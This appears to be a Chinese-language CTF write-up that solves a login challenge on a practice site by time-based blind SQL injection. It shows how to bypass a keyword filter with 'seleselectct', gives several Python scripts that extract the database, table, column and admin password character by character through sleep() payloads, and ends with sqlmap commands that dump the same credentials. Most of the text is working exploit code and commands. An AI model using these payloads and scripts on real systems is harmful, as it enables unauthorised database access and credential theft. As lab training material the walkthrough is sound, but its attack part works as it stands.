嗯~開啟題目看見一個逼格有點高的圖

檢視網頁原始碼，表單以get的方式傳送三個引數（admin，pass，action）給index.php，但是限制了兩個輸入框的最大長度是10，這個是前端的限制，形同虛設。我們可以用按瀏覽器的F12，改變其值的大小，或者在URL欄中輸入都可以。

然後我們在輸入框中隨便輸入一點測試看會報什麼錯，或者過濾了什麼關鍵字元，我們可以輸入一些敏感的字串。然後我們可以看見我們在admin中輸入的會列印在螢幕上。並且我們發現使用者名稱框把select，#過濾了，而select只是簡單的過濾，可以構造成seleselectct繞過；而且我們在使用者名稱輸入admin時爆的錯可以讓我們確定正確的使用者名稱就是admin

既然知道了使用者名稱，且substring，mid語句都沒有被過濾。我們開始構造注入語句看看能不能成功。

 http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and sleep(5) or '1'='0" 

嗯~發現頁面等了5~6秒才顯示。說明語句執行成功了。可以注入！！

開始寫python3指令碼

爆庫名

 1 import requests
 2 import string
 3 
 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits
 
 5 databaseName=''
 6 
 7 for i in range(1, 13):   #假設庫名長度為12
 8     for playload in gress:
 9 
10         url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0" %(i,playload)
11         #
 
key={'pass':'','action':'login'}
12         try:
13             print("正在測試第%d個字元是否為'%s'"%(i,playload))
14             r = requests.get(url,timeout=4)
15         except:
16             suo=0
17             databaseName+=playload
18             print("資料庫名為是%s"%databaseName)
19             break
20 
21 print(databaseName)

庫名是test

 然後開始爆表名

 1 import requests
 2 import string
 3 
 4 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 5 str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
 6 tableName=[]
 7 for i in range(0,5):   #假設web4中有五個表
 8     Name=''
 9     flag2=0
10     for col in range(1,11):#假設每個表的最大長度不超過10
11         flag=0
12         for payload in str:
13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct table_name from information_schema.tables where table_schema='test' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,col,payload)
14             try:
15                 print(url)
16                 r = requests.get(url, timeout=4)
17             except:
18                 flag=1
19                 flag2=1
20                 Name += payload
21                 print("第%s個表為是%s" % (i+1,Name))
22                 break
23         #tableName.append(Name)
24         if flag==0:
25             break
26     if(flag2==0):
27         break
28     tableName.append(Name)
29 
30 for a in range(len(tableName)):
31     print(tableName[a])

就一張表，表名為admin

爆欄位

 1 import requests
 2 import string
 3 
 4 url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
 5 str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
 6 columnName=[]
 7 for i in range(0,5):
 8     Name=''
 9     flag2=0
10     for col in range(1,11):#假設每個列名的最大長度不超過10
11         flag=0
12         for payload in str:
13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct column_name from information_schema.columns where table_name='admin' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" % (i, col, payload)
14             try:
15                 print(url)
16                 r = requests.get(url, timeout=4)
17             except:
18                 flag=1
19                 flag2=1
20                 Name += payload
21                 print("第%s個欄位為是%s" % (i+1,Name))
22                 break
23         if flag==0:
24             break
25     if(flag2==0):
26         break
27     columnName.append(Name)
28 
29 for a in range(len(columnName)):
30     print(columnName[a])

爆出欄位內容

 1 import requests
 2 import string
 3 
 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits
 5 databaseName=''
 6 
 7 for i in range(1, 16):   #假設庫名長度為15
 8     for playload in gress:
 9 
10         url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct password from admin),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,playload)
11 
12         try:
13             print("正在測試第%d個字元是否為'%s'"%(i,playload))
14             r = requests.get(url,timeout=4)
15         except:
16             suo=0
17             databaseName+=playload
18             print("內容為是%s"%databaseName)
19             break
20 
21 print(databaseName)

OK 內容就是idnuenna。

下面用sqlmap來注入。

在sqlmap中輸入

  sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" 

發現是可以注入的！

開始爆庫名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dbs 

爆表名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --tables -D "test" 

爆列名

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --columns -T "admin" -D "test"

爆內容

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dump -C "password" -T "admin" -D "test"

好啦，密碼已經出來啦